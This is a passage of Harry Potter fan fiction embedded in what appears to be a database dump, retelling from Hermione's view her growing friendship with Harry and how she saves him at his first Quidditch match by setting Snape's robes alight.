this made perfect sense. &#8220;Besides, you should do something besides just read all afternoon.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was about to say that she enjoyed reading and didn&#8217;t see anything wrong with that but Harry was quicker. &#8220;Let her read Ron, there&#8217;s nothing wrong with that.&nbsp; If we were half as smart as Hermione we&#8217;d be studying now anyway.&#8221; He dragged Ron back to the game. &#8220;We&#8217;ll see you later, okay?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded in shock.&nbsp; Harry hadn&#8217;t known it, but his words had been the one thing she&#8217;d been dying to hear ever since she was little, someone who finally accepted her fondness for reading and didn&#8217;t criticize her for it.&nbsp; Obviously Harry wasn&#8217;t as much of a bookworm as she was, but it didn&#8217;t matter.&nbsp; He was fine with her the way she was and didn&#8217;t mind her idiosyncrasies.&nbsp; She wondered if she and Harry would become as good of friends as he was with Ron.&nbsp; Was it just wishful thinking?</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So I see you&#8217;ve got something going with Harry?&#8221; Hermione was thrown out of her thoughts once again, this time by Parvati.&nbsp;&nbsp; She was standing in front of her with Lavender and Padma.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Huh?&#8221; Hermione jumped. Parvati had a rare serious expression on her face and it was a little scary.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;ve seen the way you&#8217;ve been hanging with him lately.&nbsp; What&#8217;s going on?&#8221; Parvati asked with a hint of anger and jealousy in her voice.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For a split second, Hermione debated about telling Parvati the same lie she had told Ron yesterday.&nbsp; These three girls were dumb enough to fall for it without any question.&nbsp; They&#8217;d think it was the only way a girl like her could get in good with &#8220;the famous Harry Potter,&#8221; but then she realized that it would be more trouble than it&#8217;s worth.&nbsp; Telling Parvati and Padma anything was a sure fire way to get it spread all over school and she didn&#8217;t want to ruin her growing relationship with Harry by having a nasty rumor being spread around.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She wondered what she could tell Parvati that would make that scowl go away. &#8220;Well&#8230; uh&#8230; Harry and I just decided that we should at least be civil to one another since we&#8217;re in the same house, that&#8217;s all.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well remember what I told you, about Ron using you to get free homework help.&#8221; Lavender reminded her. &#8220;Don&#8217;t let them take advantage of you.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione doubted very seriously that these girls cared anything about her being taken advantage of, but she smiled sweetly anyway. &#8220;Oh I won&#8217;t.&nbsp; Don&#8217;t worry about that.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well we&#8217;re going back to the castle, to grab a snack.&nbsp; You want to come with us?&#8221; Padma offered.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, I promised Harry I&#8217;d wait for him until after the game.&#8221; Hermione couldn&#8217;t believe she&#8217;d let that slip out, but she was nervous with these three girls standing over her, <i>&#8220;Stupid, stupid, stupid!&#8221;</i></p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Parvati&#8217;s face fell again. &#8220;I see.&nbsp; Well I guess I should have known that.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Before Hermione could say anything, the girls had strolled off.&nbsp; <i>&#8220;Oh great, I&#8217;ve just started a war with my roommates.&nbsp; I have to live with these girls for 6 &#189; more years.&nbsp; Now I know I need to become head girl my seventh year.&nbsp; I hear they get their own room.&nbsp; I never knew making friends was this much work.&nbsp; I wonder if Parvati is going to throw herself at Harry even more.&nbsp; This is just what I need.&nbsp;&nbsp; Oh well it could be worse; at least I have someone to talk about it now.&nbsp; Actually I have more than one person to talk about it with.&nbsp; Hagrid really seems to understand me too.&nbsp; He&#8217;s nothing like I would expect a giant to be.&nbsp; Maybe it&#8217;s because he&#8217;s only a half giant.&nbsp; Ron&#8217;s not too bad either, in his own way.&nbsp; I guess I can put up with him.&#8221;</i></p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She watched as Harry and the other students ran up and down the field.&nbsp; Neville was looking very tired.&nbsp; Hermione reached inside her pocket and pulled out her wand.&nbsp; <i>&#8220;Well since I&#8217;m here, I might as well give Neville a little pick-me-up.&#8221;</i> She pulled out her wand, muttered a few choice words, and watched as Neville&#8217;s energy and speed increase two fold.&nbsp; She noticed Harry was looking at her.&nbsp; He&#8217;d seen her do the spell on Neville and gave her the thumbs up.&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione smiled and returned to her book, &#8220;Saucy Tricks for Tricky Sorts.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; All and all, things were looking up for Hermione, she may have to deal with some jealous roommates but at least she had some good friends, and she knew now that Harry would stick by her and be a true friend.&nbsp; She couldn&#8217;t ask for anything more.&nbsp; Life was finally looking up at Hogwarts.&nbsp; </p> '),
	(240, 8, '\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Chapter Summary:</b>&nbsp; What was going through Hermione&#8217;s mind when\nshe saved Harry&#8217;s life at that first quidditch match?&nbsp; Now we get to see.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">--- Begin Fic Here ---</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione bundled\nher robes around her as the wind whipped through her bushy hair.&nbsp; If she hadn&#8217;t been a witch, she&#8217;d have never\ncome up on the ramparts that night.&nbsp;\nWinter was definitely coming to Hogwarts and it was very cold.&nbsp; But she was ready for this.&nbsp; As she stepped towards the wall, she pulled\nout her wand and muttered a few words.&nbsp;\nThe wind seemed to cease.&nbsp; Then\nshe used her favorite spell to conjure some blue flames.&nbsp; After a few seconds, it was almost as warm as\nit was in the fall.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She looked out\nover the wall and she could see the lights of a few houses in Hogsmeade in the\ndistance.&nbsp; It was long after midnight,\ndefinitely past curfew.&nbsp; She would have\nnever done this before she became friends with Harry, but it seemed he and Ron\nhad an influence on her behavior.&nbsp; They\nwould probably say that she had &#8220;loosened up.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was the night\nbefore the Gryffindor/Slytherin quidditch game and Hermione couldn&#8217;t sleep for\nseveral reasons, the biggest being that she was worried her friendship with\nHarry and Ron was making her two roommates loath her.&nbsp; They never said anything about it to her\nface, but she had overheard part of a conversation that evening as she walked\ninto her dormitory.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s so obvious\nthey&#8217;re not really friends,&#8221; Parvati had been saying. &#8220;She&#8217;s using Harry to be\npopular, and they&#8217;re using her to pass all their classes.&nbsp; It was probably all her idea.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione leaned\nagainst the wall as she thought about the conversation she had inadvertently\nwalked in on.&nbsp; She knew that Parvati was\njust jealous because Hermione was spending time with Harry and she wasn&#8217;t, but\nit was still unfair.&nbsp; She wondered if\nother people thought the same thing.&nbsp; She\ndidn&#8217;t get nearly as many angry stares from her classmates, except for the\nSlytherins of course.&nbsp; Did they all back\ndown because she was the friend of Harry Potter?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She didn&#8217;t know\nwhy this bothered her so much.&nbsp; She\nwasn&#8217;t using Harry to be popular.&nbsp; If\nanything that was the last thing she wanted, to be more noticed by her\nclassmates.&nbsp; She had even stopped being\nas enthusiastic in classes.&nbsp; Sure she\nstill raised her hand more often than most others, but now that she sat near\nHarry and Ron in every class, she was already getting enough attention that she\ndidn&#8217;t want anymore.&nbsp; The whole thing was\nweird and exciting all at the same time.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Then of course\nshe was worried about Harry.&nbsp; It seemed\nthat the stress of school, coupled with his upcoming first quidditch game, was\ntoo much for him.&nbsp; He was beginning to\nsee conspiracies where they didn&#8217;t exist.&nbsp;\nJust earlier that day, Harry had told her that he was convinced that\nSnape was trying to steal whatever was being guarded by the huge three-headed\ndog they had run into several weeks ago.&nbsp;\nIt didn&#8217;t help that Ron was encouraging this theory.&nbsp; But Hermione knew there was nothing to\nit.&nbsp; Hogwarts teachers were always the\nmost trustworthy wizards and witches in the world, she had read all about it in\n&#8220;Hogwarts: A History.&#8221;&nbsp; Even if Snape was\nunfair, there was no way that Albus Dumbledore would keep him on staff if he\ndidn&#8217;t trust him. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; No, this was all\ndue to Harry&#8217;s stress level and the fact that Snape was being particularly mean\nlately. <i>&#8220;This is exactly why first years aren&#8217;t allowed on the house teams,&#8221;</i>\nshe thought to herself. <i>&#8220;The stress is just too much.&#8221;</i>&nbsp; She had been doing her best to help Harry\nwith his homework but she feared even this wouldn&#8217;t be enough.&nbsp; Perhaps after he got his first quidditch game\nout of the way, he wouldn&#8217;t worry so much about them afterwards and he&#8217;d begin\nto relax.&nbsp; Then, maybe she could relax.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know,\nsomehow I knew you&#8217;d be up here,&#8221; Hermione spun around so fast she almost\ntripped.&nbsp; Harry was standing right behind\nher on his Nimbus 2000.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, are you\ncrazy?&#8221; she almost shouted. &#8220;What are you doing up here?&nbsp; You could have been caught.&nbsp; You could have gotten detention.&nbsp; You could have been banned from playing\nquidditch tomorrow.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry ignored her\nranting. &#8220;I couldn&#8217;t sleep.&nbsp; There were\nlots of things going through my head.&nbsp;\nLooks like you couldn&#8217;t sleep either.&nbsp;\nAs for being banned from playing quidditch tomorrow; that would probably\nbe a load off my mind.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh Harry,&#8221;\nHermione sighed. &#8220;You&#8217;ll be fine tomorrow.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Everyone keeps\nsaying that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve watched\nevery single one of your practices from up here, you know.&nbsp; You are the best flyer of any quidditch\nplayer in this school.&nbsp; No one will be\nable to touch you tomorrow.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You think so?&#8221;\nHarry asked stepping off his broom onto the wall. &#8220;You really think I&#8217;m better\nthan all the other players.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;There&#8217;s no\ncomparison.&#8221; Hermione said earnestly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know, when\nyou say it, I actually believe it.&nbsp; I\nknow you&#8217;ll tell me the truth and not just what I want to hear, even if it\nhurts.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s me, good\nold blunt Hermione,&#8221; she laughed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course, that\nwhole thing with Snape is bothering me too,&#8221; Harry admitted. &#8220;Every time I\nclosed my eyes tonight, I could see the expression on his face.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh Harry, you&#8217;re\nnot still on about that,&#8221; Hermione sighed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione, if you\nhad seen what I saw, you&#8217;d believe me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She stared into\nhis eyes again; they had a pleading look in them. &#8220;I just don&#8217;t know.&nbsp; Maybe if we had more proof.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Then we&#8217;ll get\nmore proof,&#8221; Harry said determinedly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Alright, alright.&nbsp; I\nguess it wouldn&#8217;t hurt to do a little digging around.&nbsp; I mean it is kind of odd that a troll got\ninto the castle.&nbsp; I mean, things like\nthat almost never happen at Hogwarts; the castle is far too well\nprotected.&nbsp; Someone would have had to let\nhim in.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;See now you&#8217;re\nthinking,&#8221; Harry said eagerly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not saying\nit was Snape,&#8221; Hermione added quickly.&nbsp;\n&#8220;But if it is, I bet we could find out for sure.&nbsp; Then we could tell Professor Dumbledore what\nwe know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Agreed.&#8221; Harry nodded. &#8220;After tomorrow, I&#8217;ll have more time\nbecause we won&#8217;t have any quidditch practice for a while.&nbsp; We can start figuring out what to do then.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, I&#8217;ll start\nthinking of a plan,&#8221; Hermione decided.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry turned back\nto his broom and climbed on. &#8220;Thanks Hermione, I think I&#8217;ll sleep a little\nbetter knowing your going to help us figure this out.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione couldn&#8217;t\nhelp grinning from ear to ear as Harry flew down the side of the castle.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, Harry will\nlove this!&#8221; Hermione squealed.&nbsp; She was\nreferring to a large banner that Seamus, Ron, and Dean had unfolded once they\nreached one of the top rows of the quidditch stands.&nbsp; It read, &#8220;Potter for President&#8221; and had a\npicture of the Gryffindor lion on it.&nbsp;\n&#8220;Who drew this?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I did the lion,&#8221;\nDean said proudly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Neville was\ntrying to keep the banner from flying away with the wind. &#8220;Now if only we could\nfigure out how to hold this up.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh Neville, you\nshould never go anywhere without your wand,&#8221; Hermione chastised.&nbsp; She pulled out her own wand and waved it at\nthe banner. &#8220;Wingardium Leviosa.&#8221;&nbsp; The banner rose into the air, just above\ntheir head.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione wasn&#8217;t\ndone though, she waved her wand and said another spell that none of the others\nrecognized.&nbsp; The paint on the banner\nbegan to flash different colors.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where do you\nlearn this stuff from?&#8221; Ron asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Books, Ron.&nbsp; You know&#8230; those little things with paper in\nthem.&#8221; Hermione said with a grin.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron sat down but\nsaid nothing.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oooo look.&nbsp; They&#8217;re\ncoming out.&#8221; Hermione squealed as the Gryffindor and Slytherin team emerged\nfrom their locker rooms.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After a few\nminutes the quaffle was in the air and the game had begun.&nbsp; Hermione had read all about quidditch, of\ncourse, so she knew the rules and how the game was played, but she had never\nseen an actually game.&nbsp; Even watching\ncountless practices hadn&#8217;t prepared her for what she was seeing now.&nbsp; It was incredible.&nbsp; The speed and accuracy of the players was\namazing.&nbsp; Quaffle and bludger alike flew\naround the field at an almost insane speed.&nbsp;\nShe wondered how anyone could see what was going on, let alone concentrate with all of the balls and players flying around.&nbsp; Now she knew why witches and wizards\neverywhere loved quidditch.&nbsp; It was truly\nthe most amazing sport she&#8217;d ever seen.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;It&#8217;s no\nwonder Harry loves flying.&nbsp; If I could be\na part of that, I would.&#8221;</i> As she watched the game, Hermione absentmindedly\nwondered what it would be like to be a quidditch player, perhaps a chaser or a\nkeeper.&nbsp; But then she quickly remembered\nthat she was an average flyer at best and that quidditch definitely wouldn&#8217;t be\nher cup of tea.&nbsp; She decided to stick to\nbeing a spectator. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After Gryffindor&#8217;s first goal, Hagrid had come to join the group\nin the stands.&nbsp; The action of the game\nwas heating up and he didn&#8217;t want to be left to watch from his cabin.&nbsp; Hermione couldn&#8217;t blame him.&nbsp; There was no place she&#8217;d rather be right\nnow.&nbsp; Even though Harry hadn&#8217;t had much\nwork to do yet, the game was still exciting.&nbsp;\nA few minutes after she thought it though, all that had changed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;There it is!&#8221;\nHermione shouted. &#8220;There&#8217;s the snitch.&#8221; Lee Jordan&#8217;s commentary had confirmed\nit. &#8220;He&#8217;s seen it, he&#8217;s seen it.&#8221; Hermione was dancing on her toes now as Harry\nflew down from his lofty position to grab the snitch.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\npositive he would reach it before the Slytherin seeker, but then suddenly,\nMarcus Flint blocked him and Harry spun off course.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh that dirty\ncheater,&#8221; Hermione shouted.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron looked at\nHermione in stunned silence. &#8220;Whoa Hermione, I&#8217;ve never seen you get this\nexcited about anything beyond your Transfiguration grades.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh Ron,&#8221;\nHermione huffed. &#8220;I do have a life you know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron was about to\nsay something to retort, but was distracted by Dean, who was shouting something\nabout red cards and soccer.&nbsp; Hermione was\nignoring all of this as her attention returned to the game.&nbsp; She found the dot that was Harry and noticed\nthat he was surprisingly still.&nbsp; Perhaps\nhe had seen the snitch again and was preparing to dive.&nbsp; No, he was rising higher and higher. Every\nnow and again she saw his broom jerk.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;What&#8217;s going\non?&nbsp; Why is Harry flying so erratically?&#8221;</i>\nHermione had spent hours watching Harry fly and she knew his style better than\nanyone else.&nbsp; Something was terribly\nwrong.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hagrid seemed to\nhave noticed it too. &#8220;If I didn&#8217;t know better, I&#8217;d say he lost control of his\nbroom.&nbsp; But he can&#8217;t have.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The situation was\ngetting worse.&nbsp; Harry&#8217;s broom wasn&#8217;t just\nbucking, it was rolling around.&nbsp; He was\nhanging on for dear life.&nbsp; The broom was\nactually <i>trying</i> to throw him off.&nbsp;\nEveryone had noticed it now but no one could do anything about it.&nbsp; Anyone who tried to get close to Harry to\nhelp him, only caused the broom to go higher and higher.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A terrible\nthought struck Hermione. <i>&#8220;Harry&#8217;s going to die.&nbsp; No one can help him, not the other players,\nnot the professors.&nbsp; Where&#8217;s Dumbledore?&#8221;</i>\nShe wondered vaguely if this was Pansy&#8217;s doing.&nbsp;\nBut somehow she didn&#8217;t think the first year Slytherin could accomplish\nsomething that complex.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Can&#8217;t nothing interfere with a broomstick, except powerful dark\nmagic.&nbsp; No kid could do that to a Nimbus\n2000.&#8221; She heard Hagrid saying to Seamus. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;He&#8217;s right,\nno kid could do that.&nbsp; No student at\nHogwarts could.&nbsp; It would take dark\nmagic, the kind of dark magic that only a fully trained wizard skilled in the\narts would know.&nbsp; It would have to be one\nof the adults, one of the professors, cursing the broom.&nbsp; But what Hogwarts professor would want to\nharm Harry&#8230;&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Then suddenly,\nshe knew.&nbsp; It came to her in an instant.\nShe grabbed Hagrid&#8217;s binoculars and began to scan the Slytherin section of the\nstands.&nbsp; Sure enough, there he was,\nSnape, muttering under his breath, ever so slightly.&nbsp; If she hadn&#8217;t been looking directly at him,\nshe wouldn&#8217;t have noticed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I knew it!&#8221; she\nshouted at Ron. &#8220;Snape&#8230; look!&#8221; She handed him the binoculars. &#8220;He&#8217;s doing\nsomething&#8230; jinxing the broom.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron looked\nshocked and pale. &#8220;What should we do?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A wild look\nflashed in Hermione&#8217;s eyes. &#8220;Leave it to me,&#8221; and without any further\nexplanation, she took off down the stands, her mind racing.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;How could I\nhave been so dense?&nbsp; Harry tried to warn\nme.&nbsp; He told me that he had found out\nthat Snape had tried to get passed that three-headed dog, but did I\nlisten?&nbsp; No!&nbsp; I can&#8217;t believe this.&nbsp; It&#8217;s all my\nfault.&nbsp; If I had just taken him more\nseriously, we would have known to keep our guard up around Snape.&nbsp; We could have prepared for an attack like\nthis.&#8221;</i> She was hurtling down the stairs now.&nbsp; She could still see Harry dangling from his\nbroom. <i>&#8220;I won&#8217;t let you die, Harry.&nbsp;\nJust hang one. I&#8217;m going to get you out of this I promise.&#8221; </i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She started\nsprinting across the quidditch field.&nbsp; No\none even noticed her, because all eyes were on Harry now.&nbsp; As she ran, Hermione&#8217;s mind flashed back to\nall of the fun she&#8217;d already had with Harry these past few weeks and she\ncouldn&#8217;t remember any happier time in her life.&nbsp;\nShe finally had a real friend, someone who understood and accepted her,\nand now Snape was going to take that all away.&nbsp;\n<i>&#8221;No, I won&#8217;t allow it!&nbsp; Please\nHarry, I&#8217;m going to get you out of this. Just hold on a few more minutes.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had made\nit to the opposite set of stands.&nbsp; She\nwas completely out of breath now, clutching a stitch in her side, but she\nwouldn&#8217;t stop running.&nbsp; She kept pushing\nherself as she pelted up the stairs. <i>&#8220;Oh if I could kill Snape I would.&nbsp; He&#8217;d better be glad I don&#8217;t have the skill to\nuse the cruciatus curse.&nbsp; That would teach him for messing with Harry.&#8221;</i>\nAs much pleasure as the thought torturing Snape gave her, Hermione realized as\nshe ran through the stands that she really had no idea what she was going to\ndo.&nbsp; All she knew was that she wanted to\nhurt Snape, punish him for the pain he was causing Harry and her.&nbsp; She was moving so quickly that she knocked\npeople out of the way in her desperate effort to get directly behind Snape.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Stupid git,&#8221; </i>Hermione thought as she pushed Professor Quirrell\nto the side. <i>&#8220;If he were any good at defense against the dark arts he&#8217;d be\nhelping Harry instead of standing there like an idiot while Snape tries to kill\nhim.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i>She&#8217;d\nreached her target.&nbsp; She was crouched\ndirectly behind Snape.&nbsp; Now all she\nneeded was the right spell.&nbsp; Something to\nbreak Snape&#8217;s eye contact for a few seconds would do the trick.&nbsp; Hermione was so mad and flustered that only\none spell came to mind, but it was perfect.&nbsp;\nShe pulled out her wand, uttered a few choice words and produced her\ntrademark blue flames.&nbsp; They shot out of\nher wand onto the back of Snape&#8217;s robes.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The wait was\nagonizing.&nbsp; It seemed to take an eternity\nfor Snape to notice that he was on fire, but he finally did and it made him\njump in pain.&nbsp; Hermione quickly collected\nher magical flames into a jam jar that she used often to hold similar fires,\nand then she speed away before she could get caught.&nbsp; As she took off for down the row again, she\nlooked up and saw that her diversion had been enough.&nbsp; Snape&#8217;s eye contact had been broken and Harry\nwas able to get back onto his broom.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Alright Harry!&#8221;\nHermione shouted as she watched him steady himself. &#8220;Now go get that snitch!&#8221;\nShe started down the stairs again to join her fellow Gryffindors in the\nopposite stands.&nbsp; As she ran back across\nthe field, she noticed Harry shooting like a dart towards the ground.&nbsp; Was he going to crash?&nbsp; Was he going to be sick?&nbsp; Had the ordeal been too much for him?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She watched him\nhit the field on his hands and knees.&nbsp; He\nreally did look like he was going to be sick.&nbsp;\nHermione was debating about whether or not she should try to help him,\nwhen suddenly he spit something up.&nbsp;\nHarry wasn&#8217;t sick after all.&nbsp; He\nheld up his hand to show everyone that he had the golden snitch.&nbsp; He had ended the game and Gryffindor had won\n170 to 60.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She saw Harry\nlook right at her, a huge grin on his face, before collapsing on his hands and\nknees again.&nbsp; Suddenly Ron was by her\nside.&nbsp; He and the other Gryffindors were\npouring out of the stands.&nbsp; &#8220;Come on,&#8221; he\nsaid, grabbing her arm. &#8220;We&#8217;d better go see if he&#8217;s okay.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They ran off to\nwhere Harry was still sitting on the field, dazed.&nbsp; &#8220;You did it Harry!&nbsp; You won the game!&#8221; Ron was shouting.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You were amazing\nHarry.&nbsp; I was so worried,&#8221; Hermione\nsquealed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Other students\nwere gathered around as well.&nbsp; &#8220;Back up\nnow.&nbsp; Everyone out of the way,&#8221; Hagrid\nboomed as he swept through the crowd.&nbsp; In\none swift motion he picked Harry up, broomstick and all. &#8220;I&#8217;m taking him back\nto me cabin.&nbsp; Come on you two.&#8221; He said\nto Ron and Hermione. &#8220;Back up, I said.&nbsp;\nHarry needs some strong tea and some rest.&nbsp; You can celebrate later.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione let out\na calming sigh as she followed Hagrid through the crowd.&nbsp; She had done it; Harry was safe.&nbsp; She felt like collapsing herself.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione sat in\nan un-crowded corner of the common room that evening.&nbsp; The whole of Gryffindor house was celebrating\ntheir quidditch victory.&nbsp; It seemed that\neveryone had forgotten about the near fatal incident that had befallen Harry\nand were instead concentrating on the fact that they had beaten Slytherin.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But Hermione couldn&#8217;t\nforget.&nbsp; She couldn&#8217;t forget the dark\nlook in Snape&#8217;s eyes, she couldn&#8217;t forget how Harry was hanging on for dear\nlife, and she couldn&#8217;t forget how it made her feel to be that close to losing\nthe best friend she&#8217;d ever had.&nbsp; She\nwanted desperately to escape to the quiet of the ramparts so she could think,\nbut she didn&#8217;t want to seem anti-social, not while everyone was celebrating\nHarry&#8217;s triumph.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She thought about\nthe conversation they had had earlier in Hagrid&#8217;s cabin.&nbsp; She, Ron, and 